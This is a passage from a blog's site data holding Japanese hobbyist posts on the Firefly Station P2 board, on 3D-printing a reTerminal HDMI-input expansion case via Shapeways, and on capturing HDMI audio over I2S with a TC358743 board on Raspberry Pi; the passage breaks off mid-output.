4Bの結果](https://browser.geekbench.com/v5/cpu/9697615)と比べて7割から8割程度の実力のようだ。\n計測中は本体がかなり熱を持ち、手で触れられないほどではないが長時間触れ続けるのは厳しいほどの熱さだった。\n\n後述するUbuntu 18.04環境で計測を行ってみたところ、結果が5%ほど向上していた。\n\n[StationPC P2 ROC-RK3568-PC - Geekbench Browser](https://browser.geekbench.com/v5/cpu/9699621)\n\n#### DRMInfo\n\n[DRM Info - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.androidfung.drminfo&hl=ja&gl=US)\n\nStationOSはメディア再生に特化したOSとのことなので、保護されたコンテンツの再生に必要となるDRMも確認してみたが、L3 Widevineを搭載していた。\n一番低い保護レベルなので、試していないがプライムビデオ等でHD画質以上でコンテンツを視聴することはできない可能性が高い。\n\n\n\nStationOSの使い勝手はとても良いとは言えないので今後利用することはないと思うが、Androidが好きな人で操作性に慣れればPlayストアも使えるので利用価値はありそうだ。\n\n\n### Ubuntu 18.04 LTS\n\n\n\nStation P2向けに用意されているOSはいくつかFireflyのダウンロードページに掲載されている。\n\n[Downloads - ROC-RK3568-PC \\| Firefly](https://en.t-firefly.com/doc/download/94.html)\n\n公式に用意されているものはまだ数が少ないが、とりあえず手軽なUbuntuを動かしてみた。\nRaspberry PiのようにmicroSDXCに焼き込み、TFカードスロットに挿入した状態で電源を入れるとUbuntuが起動する。\n\nSSHサーバーが起動しているのでmDNSで名前「firefly」を解決するか、DHCPで接続が確立されていればIPアドレスを探すなりして、ID・パスワード共にfireflyで端末に接続できる。\n\n\n\n#### NVMe速度ベンチマーク\n\n3年も前のUbuntu 18.04だが、まだメンテナンスアップデート期間なので軽く弄くり回す程度なら十分使える。\n試しに取り付けた[Crucial P2 500GB PCIe M.2 2280 SSD \\| CT500P2SSD8](https://www.crucial.jp/ssd/p2/CT500P2SSD8)の読み書き速度をKDiskMarkで計測してみた。\n\n[JonMagon/KDiskMark: A simple open-source disk benchmark tool for Linux distros](https://github.com/JonMagon/KDiskMark)\n\n\n\nCrucial P2の公称値は読み込み2300 MB/s、書き込み940 MB/sであるが、これはPCIe 3.0x4接続での値である。\nStation P2はPCIe 3.0x2接続なので、片方向あたり理論値2GB/sが上限となる。\n実効値はそれよりも低いことを踏まえると、測定結果の読み込み1597 MB/sはとても良好な結果と見て取れる。\nCrucial P2の書き込み速度はカタログスペックを大きく上回ることが知られており、測定結果の書き込み1243 MB/sはPCIe 3.0x4接続での結果に近い値が出ていた。\n\n### Armbian for Station P2\n\n\n\nStationOSも公式イメージのUbuntu 18.04もサーバーやNAS用途には向かない。これではせっかくの大容量HDDやデュアルギガビットイーサネットが活かせないままだ。\n幸いにもFireflyの製品は充実したWikiとフォーラム、そしてブートローダーやカーネルヘッダーなどのソースコードが潤沢に用意されていて、自分でLinuxイメージをビルドする手順まで書かれている。\n\n[Welcome to ROC-RK3568-PC Manual — Firefly Wiki](https://wiki.t-firefly.com/en/ROC-RK3568-PC/index.html)\n\n資料を片手に挑戦してみてもよかったが、フォーラムを覗くとStation P2向けにArmbianをビルド・公開している人がいた。\n\n[Board Bring Up Station P2 rk3568, M2 rk3566 - Board Bring Up - Armbian forum](https://forum.armbian.com/topic/18852-board-bring-up-station-p2-rk3568-m2-rk3566/)\n\nいくつかある中、執筆時(2021/09/22)で最新の[eMMCインストール対応Armbian](https://forum.armbian.com/topic/18852-board-bring-up-station-p2-rk3568-m2-rk3566/?do=findComment&comment=128952)のUPDATE_UBOOT/Armbian_21.11.0-trunk_Station-p2_hirsute_legacy_4.19.193.img[^1]を試してみた。\n\n[^1]: sha:a73565c1eac4ded95512e44c82f24467f4f8026ca8663aa53163adfc5bb54dfd\n\n落としてきたイメージをmicroSDカードに焼き込み起動して初期設定を行うと、見慣れた普通のArmbianが動作してちょっと感動した。\nU-Bootの更新をしてArmbianのインストーラーである[`nand-sata-install`](https://github.com/armbian/build/blob/0069ad60a6f59028e93cfeebe441538c10738161/packages/bsp/common/usr/sbin/nand-sata-install)を叩けばeMMCにインストールできるとあるが、NANDだけに何度やっても成功しなかった。\n仕方ないので`dd`で/dev/mmcblk0に直接イメージを書き込んでeMMCからの起動を成し遂げた。さよならStationOS。\n\n## まとめ\n\n\n\nArmbianの起動もでき、遊ぶための土台が整った。\n\nStation P2のハードウェアは比較的扱いやすく、胸を躍らせる豊富なインターフェースが最大の特徴となる。\nNVMeも高速に動作したこともあって、ちょっと値は張るがRaspberry Pi 4Bにはできなかったいろいろな試みに挑戦できる。\n一つ欠点を挙げるとすると、冷却が心もとないところだ。ケースの内側にスペースの余裕はあまりなく、ファンを内蔵してもエアーフローの問題があるので、新たにケースを自作するか筐体ごと冷却してアルミニウム削り出しの性能に身を委ねるかのどちらかになる。\n\nファームウェア面では、公式が提供するStationOSやUbuntu 18.04などの使い勝手が微妙ではあるが、使えないことはない。\nArmbianが有志の手によってビルドされているおかげで、手軽にDebianベースの環境を整えられ、自由に環境を構築することができる。\n\nハードウェアとファームウェアの面、そしてWikiや公開されているソースコードの豊富さから評価すると、\"遊べるSBC\"としての価値はとても高い。\nもちろん万人向けではないが、最新チップを載せたSBCで遊びたい人とコンパクトなNASやルーターを構築したい人にはお勧めできる。\nSBCの中では高価格帯ではあるが、魅力に踊らされたら買っておいて損はないだろう。\n\n紹介が長くなり記事が太ってしまったので、MPEG-TSデコードとH.265のエンコードをしてみた話やOTGで遊んでみた話などは、また別の記事にしてまとめたい。\n"]}],[0,{"slug":[0,"2022/02/28/shapeways-reterminal-plastic-case/"],"data":[0,{"title":[0,"ShapewaysでreTerminal用の電子基板ケースを3Dプリントした"],"date":[3,"2022-02-28T04:00:00.000Z"],"image":[0,"/assets/images/2022/02/28/printed-case.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"3D Print"]]],"tags":[1,[[0,"reTerminal"],[0,"raspberry-pi"],[0,"plastic"],[0,"pa12"],[0,"mjf"],[0,"acrylic"]]]}],"content":[0,"\n[reTerminal](https://www.seeedstudio.com/ReTerminal-with-CM4-p-4904.html)がSeeedから発表されたのは2021年の4月のこと。\nRaspberry Pi CM4にディスプレイを搭載し、立派なケースに収められてすぐに使えるように作られているとても魅力あふれる製品だ。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/89fEhgOETC\">pic.twitter.com/89fEhgOETC</a></p>&mdash; MMP (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1494325989882871808?ref_src=twsrc%5Etfw\">February 17, 2022</a></blockquote>\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n技適を通過していないRaspberry Pi CM4の無線モデルを搭載していることから、[Seeed Studio Bazaar](https://jp.seeedstudio.com/)から直接買っても国内で利用することができず、技適の取得に1年2年待たされるものだと悟ったため、頭の中から存在を消し去っていた。\nそれから1年が経とうとしている2022年2月、reTerminalを手にするツイートをちらほら見かけ、昨年10月に日本でも購入・利用ができるようになっていたことを知った。国内販売にあたってCM4単体としてではなく、reTerminalとして技適を取得したようだ。\n\n[総務省 電波利用ホームページ \\| 技術基準適合証明等を受けた機器の検索](https://www.tele.soumu.go.jp/giteki/SearchServlet?pageID=jg01_01&PC=211&TC=N&PK=1&FN=211015N211&SN=%94%46%8F%D8&LN=5&R1=*****&R2=*****)\n\n<iframe\n src=\"https://hatenablog-parts.com/embed?url=https%3A%2F%2Flab.seeed.co.jp%2Fentry%2F2021%2F10%2F15%2F000000\"\n title=\"[速報] reTerminal日本国内販売開始 - Seeed K.K. エンジニアブログ\"\n class=\"embed-card embed-blogcard\"\n scrolling=\"no\" frameborder=\"0\" style=\"display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;\"></iframe>\n\n[[速報] reTerminal日本国内販売開始 - Seeed K.K. エンジニアブログ](https://lab.seeed.co.jp/entry/2021/10/15/000000)\n\n\nついうっかりポチってしまったが、毎度のことながら利用目的が特に定まっておらず箪笥の肥やしになる運命にあった。\nそんな悲しい運命を打破するためにか、ProtoPediaなる開発支援サイトでreTerminalの活用コンテストを行なっていた。\nみなこれをきっかけにreTerminalを購入していたようだ。\n\n[Seeed reTerminal 拡張モジュールコンテスト \\| ProtoPedia](https://protopedia.net/event/33)\n\nコンテストの応募資格は側面か背面にある拡張端子にくっつけるモジュールを試作していることとある。\nハードウェアが絡むプロトタイピングはしばらくやっていなかったこともあり、ものづくりを久々にしっかりやるかという気持ちになった。\n\nこのコンテスト参加において、拡張モジュールを試作しケースを発注するに至るまでの記録をここに残す。\n\n## 目次\n\n## reTerminal\n\nそもそもreTerminalとは何かというところを軽くまとめておく。\n主に次のパーツで構成されているOut of the BoxなIoT端末ハードウェアだ。\n\n- Raspberry Pi CM4 [CM4104032]\n- 5インチ 1280x720 DSI接続マルチタッチディスプレイ\n- 2x USB 2.0 Type-A\n- 1x 1GbE\n- 1x micro HDMI\n- 各種センサー/RTC/暗号用コプロセッサ\n- 側面と背面の**拡張コネクタ**\n\n### reTerminal拡張コネクタ\n\n\n\n側面に搭載の拡張コネクタは、コンピュータモジュール版ではないRaspberry Piに備え付けられた40pinコネクタとほとんど互換性のある40ピンが接続できるようになっている。\n完全な一致ではなく、GPIO 6とGPIO 13が削られUSB D-/D+が追加されている。\nその40ピン端子の下には、MIPI CSI-2カメラのFFCケーブルを通すことのできる穴が空いている。\n\n\n引用元: [https://wiki.seeedstudio.com/reTerminal/#pinout-diagram](https://wiki.seeedstudio.com/reTerminal/#pinout-diagram)\n\n\n背面にもPCIeが使える拡張コネクタがあるが、詳しい情報は見つからなかった。\n\n主にこの側面の拡張コネクタに接続するものをreTerminal拡張モジュールと呼び、このモジュールのプロトタイピングを今回は行うことになる。\n\n## HDMI入力拡張モジュール\n\n実は拡張モジュールのアイデアは昨年4月のreTerminal発売の知らせを聞いた時に既に浮かんでいた。HDMI入力拡張モジュールだ。\n\nHDMI入力をRaspberry PiのCSI-2接続で遊ぶ記事は2年前に書いたが、この仕組みを実用するにはケースが不可欠だと思いながら執筆をしていた。\nRaspberry PiのHATとして積み上げる形のケースを考えたりもしたが、結局うまくまとめられなかったので諦めていた没ネタの一つだ。\n\n::PostLink{slug=\"raspberrypi-hdmi-input\"}\n\nreTerminalは堅牢なケースに収められていて、加えてタッチ対応720pディスプレイが搭載されている上に、直感的に操作可能なボタン4つが画面のすぐ下にある。\nそして何よりもGPIOとMIPI CSI-2ケーブルを取り出せる拡張モジュールをネジで固定できるように作られていることから、HDMI入力基板をケースに収めて拡張モジュールにするには相性ピッタリだ。\n\nということで、色々と設計を始めた。\n\n## reTerminalの寸法と拡張モジュールサイズ\n\n\n\n拡張モジュールを作る人に向けてなのか、reTerminalのSTEPファイルが[SeeedのWiki](https://wiki.seeedstudio.com/reTerminal/)で配布されている。この3Dモデルで寸法を測定した。\n\n突起部分を除けば、横138.989mm 縦94.791mm 高さ20.897mmとなっている。おおよそ[商品ページ](https://www.seeedstudio.com/ReTerminal-with-CM4-p-4904.html)の140mm x 95mm x 21mmと同じである。\n横に取り付けるので横幅はモジュールの中身次第で増減するとして、縦95mm 高さ21mmのケースを用意する必要がある。\n\nプロトタイピングにちょうどいいサイズのケースを買えないかと探していたところ、aitendoにピッタリなケースが売られていた。\n\n[プラケース [C95X54X23] - aitendo](https://www.aitendo.com/product/11368)\n\n\n\n\n\n縦95mm 横54mm 高さ23mmと、高さこそ2mm高いがほぼ拡張モジュールサイズの、そして加工の容易なABS素材のケースが150円で売られていた。\n早速これを使ってだいたいのレイアウトを考えていく。\n\n## 拡張モジュール設計\n\nI2SでHDMIの音声信号をやりとりするため、映像のCSI-2のケーブルだけでなくGPIOも拡張モジュールに接続する必要がある。\nなので40ピンソケットを取り付けHDMI入力基板を配置する前提で、他に色々と機能を足し算していく。\nボリュームを調整するスライドポテンショメータや音量表示のVUメーターなど、直感的な操作ができる部品を取り付けることを考えていた。\n\n\n\n\nケースにHDMI入力基板とパーツを置いてみたところ、予想に反し他の基板やケースに干渉してしまい、このサイズ感ではどれも追加できないことに気づいた。\n唯一手元にあったパーツの中ではPimoroni Button SHIMだけがうまく固定できそうだった。\n\n[Button SHIM – Pimoroni](https://shop.pimoroni.com/products/button-shim)\n\n\n### 3Dモデル書き起こし\n\n\n\n\n[Autodesk Fusion 360](https://www.autodesk.co.jp/products/fusion-360)を使ってケースを組み上げていく。\n\nButton SHIMの3DモデルはThingiverseで有志の方がCC BY-NC 4.0で公開してくれていたので、コーヒーをご馳走して位置合わせのために利用させてもらった。\n\n[Pimoroni button shim dummy by printminion - Thingiverse](https://www.thingiverse.com/thing:4520653)\n\n基板の固定はM2.5のネジで、ケースの蓋の固定ははめ込みにした。\n\n\n\n完成した3Dモデルは以下で配布している。\n\n[mzyy94/reTerminal-HDMI-input: HDMI input expansion module for reTerminal - GitHub](https://github.com/mzyy94/reTerminal-HDMI-input)\n\n\n## Shapewaysに発注\n\nやっと記事タイトルの内容にたどり着いた。\n毎度のことながら業界最安値帯のShapewaysで発注する。\nShapewaysは過去数回使ったことがあるが、前回利用から間が空いたこともあって少しばかり勝手が変わっていたので、調べつつ発注を進めた。\n\n### 素材の選定\n\n一言に3Dプリントといっても印刷する素材にはいくつもの種類がある。そして素材の種類に加え、造形方式も複数存在するので選択肢は幅広い。\nShapewaysの取り扱う造形方式と素材の種類は20を超え、独特なマテリアル名が付けられ前回利用時からいくつか改名されていた。\n仕様を読むに精度が求められるものにはMaterial Jetting光造形方式の[Fine Detail Plastic]か、マルチジェットフュージョン方式の[MJF Plastic PA12]が良さそうだ。\n[昔は素材ページに体積あたりの価格が記載されていた](../2017/2017-05-15-shapeways-stainless-steel.md)のだが、いつのまにか無くなっていた。\n\n| マテリアル名 | 素材 | 造形方式 | 精度 | 最小凹凸 | 価格帯 |\n| :-------------------: | :-----: | :-----: | ------------------------- | -------- | ----- |\n| [Fine Detail Plastic] | アクリル | 光造形 | ± 0.3 - 0.7 mm | 0.1mm | 上の下 |\n| [MJF Plastic PA12] | ナイロン | MJF | ± 0.2 mm ± 0.5% of length | 0.2mm | 中の下 |\n| [Versatile Plastic] | ナイロン | SLS | ± 0.15 mm ± 0.15% of axis | 0.2mm | 下の中 |\n\n[Fine Detail Plastic]: https://www.shapeways.com/materials/fine-detail-plastic \"Shapeways: Fine Detail Plastic\"\n[MJF Plastic PA12]: https://www.shapeways.com/materials/multi-jet-fusion-pa12 \"Shapeways: MJF Plastic PA12\"\n[Versatile Plastic]: https://www.shapeways.com/materials/versatile-plastic \"Shapeways: Versatile Plastic\"\n\n今回は値段の安く精度の高いMJF Plastic PA12を選んだ。ただ、MJF Plastic PA12は小さいものを作る場合には値段が上がるようで、ボタンはFine Detail Plasticの方が安い計算結果となった。なのでボタンをFine Detail Plasticで発注した。\n\n\n\n### 製造と到着\n\n\n\n日本時間2月12日の夜にShapewaysに作ったモデルの3Dプリントを発注した。\n発送予定日は2月28日になっていたが、発注の翌日にはボタンの製造が始まり、その2日後にケースの製造が始まった。\nわずか発注から5日で製造と梱包が完了してオランダから発送したとの連絡があり、2月24日に到着した。\n世界が混乱するこの時代に、遅れるばかりか早く仕上がってきたのには少々驚いている。\n\n\n\n日付 | 内容\n---|---\n2月12日 | 発注\n2月13日 | Fine Detail Plastic素材の製造開始\n2月15日 | MJF Plastic PA12素材の製造開始\n2月17日 | UPSでオランダから発送処理\n2月19日 | ドイツ・ケルンを経由\n2月21日 | UAE・ドバイを経由\n2月22日 | 深圳・中国を経由\n2月23日 | 成田に到着\n2月24日 | ヤマト運輸で配達\n\n### 仕上がりの確認\n\n\n\nきれいに仕上がってきた。MJFでの3Dプリントは初めてだが、噂通りザラザラした質感だ。面取りした部分や丸みを付けた部分も引っ掛かりがなく出来上がっている。\n\n\n\n0.3mmの深さで刻んだ文字は判別に少々難があるものの読める程度、1.0mmの深さの文字ははっきりと読み取れるものだった。\n\n\n\n\n\nさて、寸法の精度を見ていく。下図の黒字の寸法がCAD上での値、赤字の手書き文字がノギスを用いて計測した実測値となる。\n\n\n\n外寸・内寸ともに大きな誤差は無く、精度に申し分ない。MJFで誤差が出る場合は小さくなる傾向があるようだ。\n\nネジ穴はFusion 360のネジ穴ツールでM2.5サイズで開けていたが、流石にMJFの精度ではネジ山が出来上がらず、ただの穴が空いているだけだった。\nしかし径がぴったりのため、ねじ込んでみるとざらつきのあるこの素材がうまくネジで削られしっかりと基板をホールドできるだけのネジ穴として機能した。\n\n\n\n\n\n## まとめ\n\n\n\n正直ここまで精度が高いものが出来上がるとは思っていなかった。\n0.1mm単位の精度で足りる場合はMJF素材での出力でも十分とわかった。\n精度が足りない場合や設計に問題があった場合に再設計を考えていたが、大きな問題はなかったのでこのケースで拡張モジュールコンテストに応募することにした。\n投稿作品はこちら。\n\n[reTerminalとHDMI入力でゲーム配信! - HDMI入力拡張モジュール - \\| ProtoPedia](https://protopedia.net/prototype/2933)\n\n以上、ケースを作って拡張モジュールコンテストに応募するまでの記録でした。\n"]}],[0,{"slug":[0,"2022/03/01/hdmi-input-board-with-audio/"],"data":[0,{"title":[0,"Raspberry Pi CM4とCSI-2接続HDMI入力基板で音も取る"],"date":[3,"2022-02-28T18:00:00.000Z"],"image":[0,"/assets/images/2022/03/01/soldering-patch.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"hdmi"],[0,"raspberry-pi"],[0,"i2s"],[0,"tc358743"]]]}],"content":[0,"\n2年前に投稿した[HDMI入力をRaspberry Piで取り込む記事](../2020/2020-04-10-raspberrypi-hdmi-input.md)では映像しか取得していませんでしたが、このHDMI入力基板には音声も取り込めるチップ[TC358743](https://toshiba.semicon-storage.com/jp/semiconductor/product/interface-bridge-ics-for-mobile-peripheral-devices/hdmir-interface-bridge-ics/detail.TC358743XBG.html)が搭載されています。\n取り込める端子は購入したHDMI入力基板にもちゃんと用意されていたので、ピンヘッダを取り付けて信号を見たりしたものの、音声出力が正常に取得できませんでした。\nこの問題をあれこれ探し回って解決した記録を残しておきます。\n\n::PostLink{slug=\"raspberrypi-hdmi-input\"}\n\n## 目次\n\n\n## HDMI入力基板で音声も取り出そうとした2020\n\n実は当時、ブログ記事を投稿する直前まで音声出力が正しく得られないかどうかを色々と試行錯誤していました。[参考リンク](../2020/2020-04-10-raspberrypi-hdmi-input.md#参考リンク)にその調査に使ったリンクが一部残してあります。\nしかし一筋縄ではいかず音声出力を得ることはできなかったため、その時に書いていた下書きをボツにしていました。\nしばらくして解決したものの、記事を完成させるモチベーションもなくお蔵入りになる予定でしたが、ちょうど[reTerminal拡張モジュールコンテスト](https://protopedia.net/event/33)に[HDMI入力モジュールとして応募した](https://protopedia.net/prototype/2933)こともあって、ゴミ箱から拾ってきて記事として完成させました。\nなので内容としては2年前の記録になりますが、ブラッシュアップしてあります。\n\nなお、当時はBullseyeベースの新しいRaspberry Pi OSは登場していなかったこともあり、この記事の内容は全てBusterベースのRaspberry Pi OSでの動作を記しています。また、本記事執筆時(2022/02/26)の最新版である以下の構成で動作確認をし直しています。\n\n<details>\n<summary>OS: Raspberry Pi OS</summary>\n<pre><code>\nRaspberry Pi OS (Legacy) with desktop\nRelease date: January 28th 2022\n</code></pre>\n</details>\n\n<details>\n<summary>ハードウェア: Raspberry Pi 4B</summary>\n<pre><code>\nHardware\t: BCM2711\nRevision\t: c03112\nModel\t\t: Raspberry Pi 4 Model B Rev 1.2\n</code></pre>\n</details>\n\n<details>\n<summary>カーネル: 5.10.63-v7l+</summary>\n<pre><code>\nLinux raspberrypi 5.10.63-v7l+ #1496 SMP Wed Dec 1 15:58:56 GMT 2021 armv7l GNU/Linux\n</code></pre>\n</details>\n\n<details>\n<summary>ファームウェア: Dec 1 2021 15:02:46</summary>\n<pre><code>\nDec 1 2021 15:02:46\nCopyright (c) 2012 Broadcom\nversion 71bd3109023a0c8575585ba87cbb374d2eeb038f (clean) (release) (start_x)\n</code></pre>\n</details>\n\n---\n<br/>\n\n## HDMI入力基板 H2C-RPI-B01とTC358743XBG\n\n[以前の記事](../2020/2020-04-10-raspberrypi-hdmi-input.md)で使ったHDMI入力基板、H2C-RPI-B01は<del>Raspbian</del>Raspberry Pi OSの標準ドライバで処理され、接続するだけで[Raspberry Pi Camera Module](https://www.raspberrypi.com/documentation/accessories/camera.html)と同様のV4L2デバイスとして認識され、映像入力を扱えました。\n何もしなくても動いたのは良かったのですが、何もしなかったためにCamera Moduleと同様に映像しか扱えませんでした。\n\nH2C-RPI-B01に搭載されているチップであるTC358743XBGは、実はHDMI音声入力が扱えます。データシートにはI2Sバス規格で音声データのやりとりをすると書かれています。\n\n\n\n引用元: TC358743XBG_datasheet_en_20171026.pdf [TC358743XBG \\| HDMI® インターフェースブリッジ \\| 東芝デバイス&ストレージ株式会社 \\| 日本](https://toshiba.semicon-storage.com/jp/semiconductor/product/interface-bridge-ics-for-mobile-peripheral-devices/hdmir-interface-bridge-ics/detail.TC358743XBG.html)\n\n\n## I2S (Inter-IC Sound Bus)\n\nI2SはInter-IC Soundという音声通信バス規格のことです。\n\n[I²S - Wikipedia](https://en.wikipedia.org/wiki/I%C2%B2S)\n\nNXP Semiconductorsが1986年に仕様を定義したものですが、オリジナルの仕様書はインターネットの海に沈没してしまっていて、アーカイブしか見つけられません。\n\n[I2SBUS.pdf - Internet Archive](https://web.archive.org/web/20070102004400/http://www.nxp.com/acrobat_download/various/I2SBUS.pdf)\n\n4つのピンでクロックとデータをやりとりするシリアルバス規格であり、日本語版Wikipediaの記事に要約が書かれています。\n\n[Inter-IC Sound - Wikipedia](https://ja.wikipedia.org/wiki/Inter-IC_Sound)\n\n\nRaspberry PiのGPIO端子は音声入力と出力の両方に対応しており、PCM_で始まるラベルのついているピン(GPIO 18,19,20,21)がI2Sです。\n\n\n\n引用元: [GPIO and the 40-pin Header - Raspberry Pi Documentation](https://www.raspberrypi.com/documentation/computers/os.html#gpio-and-the-40-pin-header)\n\n\n## 音声を取り出す最初の挑戦(2020年4月)\n\nI2Sのハードウェア接続とファームウェア設定を行い、音声の取り込みに挑戦していきます。\n\n### ハードウェアの配線\nHDMI入力基板の出力ピンとRaspberry Pi 40ピンヘッダーのI2Sのピンとを接続します。\n\nHDMI入力基板には10ピンの入出力端子を取り付けられるスルーホールが用意されています。\nH2C-RPI-B01以外の類似品をいくつも買ってみましたが、同じTC358743XBGを搭載する基板には大抵あります。\n\n\n\n少し離れたところに各スルーホールの機能を記すシルクがありますが、それを参考にして下表の通り接続します。\n\nHDMI入力基板シルク | Raspberry Pi ピン番号 | Raspberry Pi GPIO\n---|---|---\nSCK | 12 | PCM_CLK(GPIO 18)\nWFS | 35 | PCM_FS(GPIO 19)\nSD | 38 | PCM_DIN(GPIO 20)\n\n\n### Raspberry Pi OSのファームウェア設定\n\nI2Sの配線を済ませただけでは音声入力を扱えないので、ファームウェアの設定とドライバのロードをさせます。\n\n#### Device Tree\n\nLinuxがドライバをロードする時、接続されているデバイス情報を元に適切なドライバを選択しています。\n接続デバイスを管理するのがDevice Treeというハードウェア構成情報です。Device Treeは **/proc/device-tree** のprocファイルシステムを覗くと、だいたいどんなものが認識されているかがわかります。文献は以下に詳しいです。\n\n- [Device Trees, overlays, and parameters - Raspberry Pi Documentation](https://www.raspberrypi.com/documentation/computers/configuration.html#device-trees-overlays-and-parameters)\n- [Device Tree Reference - eLinux.org](https://elinux.org/Device_Tree_Reference)\n\n\nTC358743のドライバであるmedia/i2c/tc358743.cは、次のようにデバイスを見つけてドライバの初期化(probe)を行います。\n\n```c\nstatic const struct of_device_id tc358743_of_match[] = {\n\t{ .compatible = \"toshiba,tc358743\" },\n\t{},\n};\nMODULE_DEVICE_TABLE(of, tc358743_of_match);\n```\n\n[linux/drivers/media/i2c/tc358743.c#L2255-L2259](https://github.com/raspberrypi/linux/blob/1.20220120/drivers/media/i2c/tc358743.c#L2255-L2259)\n\ncompatibleに\"toshiba,tc358743\"と記載のあるデバイスがあれば、tc358743のドライバが読み込まれるということです。\nただ、何も設定をしていないRaspberry Pi OSではそのような記載のあるデバイスはなく、Camera Moduleのvc04_services/bcm2835-camera.cがドライバとして読み込まれてしまっています。\n\n[linux/bcm2835-camera.c at 1.20220120 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/1.20220120/drivers/staging/vc04_services/bcm2835-camera/bcm2835-camera.c)\n\nCamera Moduleのドライバではなく、TC358743のドライバであるmedia/i2c/tc358743.cをロードさせるために、Device Treeを上書きしてファームウェアを設定します。\n\n#### Device Tree Overlay\n\nDevice Treeを上書きする機能の名はDevice Tree Overlay。そのまんまです。\n<del>Raspbian</del>Raspberry Pi OSではこれを読み込むことで、Device Treeを上書きできます。\nRaspberry Pi OSには、 **/boot/overlays** にDevice Tree Overlayの構成ファイル、Device Tree Blob Overlay(.dtbo)が格納されています。\n\n[firmware/boot/overlays at 1.20220120 · raspberrypi/firmware](https://github.com/raspberrypi/firmware/tree/1.20220120/boot/overlays)\n\nBlobと名前に含まれるように、バイナリファイルにコンパイルされたものですが、これらのソースコードはraspberrypi/linuxの **/arch/arm/boot/dts/overlays** にあります。\n\n[linux/arch/arm/boot/dts/overlays at 1.20220120 · raspberrypi/linux](https://github.com/raspberrypi/linux/tree/1.20220120/arch/arm/boot/dts/overlays)\n\nこの中にtc358743向けのoverlayが存在し、次のように書かれています。\n\n\n```\n\t\t__overlay__ {\n\t\t\t#address-cells = <1>;\n\t\t\t#size-cells = <0>;\n\t\t\tstatus = \"okay\";\n\n\t\t\ttc358743@0f {\n\t\t\t\tcompatible = \"toshiba,tc358743\";\n\t\t\t\treg = <0x0f>;\n\t\t\t\tstatus = \"okay\";\n```\n[linux/tc358743-overlay.dts at 1.20220120 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/1.20220120/arch/arm/boot/dts/overlays/tc358743-overlay.dts)\n\n\n`compatible = \"toshiba,tc358743\";`とあるので、このdtboを読み込めばtc358743がデバイスとして認識され、ドライバが読み込まれるということです。\n\nただ、これだけでは音声入力を扱うことはできません。\nHDMI入力基板と音声をI2Sでやり取りするには、音声インターフェースのDevice Tree定義とドライバの読み込みが必要です。\nTC358743XBGのI2S用の定義も、<del>Raspbian</del>Raspberry Pi OSのDevice Tree Overlayに用意されています。\n\n[linux/tc358743-audio-overlay.dts at 1.20220120 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/1.20220120/arch/arm/boot/dts/overlays/tc358743-audio-overlay.dts)\n\nこれらのDevice Tree OverlayとI2Sを扱うパラメーター設定を[**/boot/config.txt**に記述する方法](https://www.raspberrypi.org/documentation/configuration/device-tree.md#part3.1)を深く理解しながら/boot/config.txtに追記します。\n\n\n```\ndtparam=i2s=on\ndtparam=audio=on\ndtoverlay=tc358743\ndtoverlay=tc358743-audio\n```\n\nこれで再起動すると、`lsmod`や`dmesg`で**media/i2c/tc358743.c** のドライバーが読み込まれていることが確認できます。\noverlayが正しく読み込まれているかどうかは、`sudo vcdbg log msg`などで確認できます。\n\n```\npi@raspberrypi:~ $ dmesg | grep tc358743\n[ 4.137243] tc358743 0-000f: tc358743 found @ 0x1e (bcm2835 I2C adapter)\npi@raspberrypi:~ $ lsmod | grep tc358743\ntc358743 40960 1\nv4l2_dv_timings 36864 2 bcm2835_unicam,tc358743\nv4l2_fwnode 20480 2 bcm2835_unicam,tc358743\nv4l2_common 16384 3 bcm2835_unicam,bcm2835_v4l2,tc358743\nvideodev 200704 9 bcm2835_unicam,v4l2_fwnode,bcm2835_codec,v4l2_common,videobuf2_common,bcm2835_v4l2,v4l2_mem2mem,videobuf2_v4l2,tc358743\nmedia 36864 5 bcm2835_unicam,bcm2835_codec,videodev,v4l2_mem2mem,tc358743\npi@raspberrypi:~ $ ls /dev/video*\n/dev/video0 /dev/video10 /dev/video11 /dev/video12\npi@raspberrypi:~ $\n```\n\n### 音声出力信号の取り込み\n\nファームウェアとハードウェアの設定を済ませ、I2Sでの音声信号を取り出していきます。\n\nTC358743は通常のI2Sオーディオデバイスとは違って、音声信号の制御などをCSI-2を通るI2Cで指示してあげる必要があります。\nこの制御に関してフォーラムに情報がありました。\n\n[HDMI to CSI-2 TC358743 I2S Audio - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=258742#p1579273)\n\n細かい操作はドライバでやってくれるので、v4l2で大体の設定をすれば良いようです。\n\n```\npi@raspberrypi:~ $ wget https://raw.githubusercontent.com/mzyy94/ns-remote/master/720P30EDID.txt\npi@raspberrypi:~ $ v4l2-ctl --set-edid=file=720P30EDID.txt\npi@raspberrypi:~ $ v4l2-ctl --set-dv-bt-timings query\n```\n\nここまでできたら、HDMIに接続しているデバイスから音声を出力してみると、`v4l2-ctl --list-ctrls`のaudio_presentがvalue=1になってることが確認できるはずです。\n\n\n\n```\npi@raspberrypi:~ $ v4l2-ctl --list-ctrls\n\nUser Controls\n\n audio_sampling_rate 0x00981980 (int) : min=0 max=768000 step=1 default=0 value=48000 flags=read-only\n audio_present 0x00981981 (bool) : default=0 value=1 flags=read-only\n\nDigital Video Controls\n\n power_present 0x00a00964 (bitmask): max=0x00000001 default=0x00000000 value=0x00000001 flags=read-only\n```\n\nこの状態になったら、あとは取り込むだけ。ただ、いざI2Sオーディオ入力を録音しようと試みるも、一向にデータはやってきません。\nそして何やらエラーが出ているようです。\n\n```\npi@raspberrypi:~ $ sudo dmesg -C\npi@raspberrypi:~ $ arecord -D plughw:1 -c1 -r 48000 -f S32_LE -t wav -V mono rec.wav\nRecording WAVE '/tmp/rec.wav' : Signed 32 bit Little Endian, Rate 48000 Hz, Mono\n^CAborted by signal Interrupt...\narecord: pcm_read:2145: read error: Interrupted system call\npi@raspberrypi:~ $ dmesg\n[ 560.152152] bcm2835-i2s 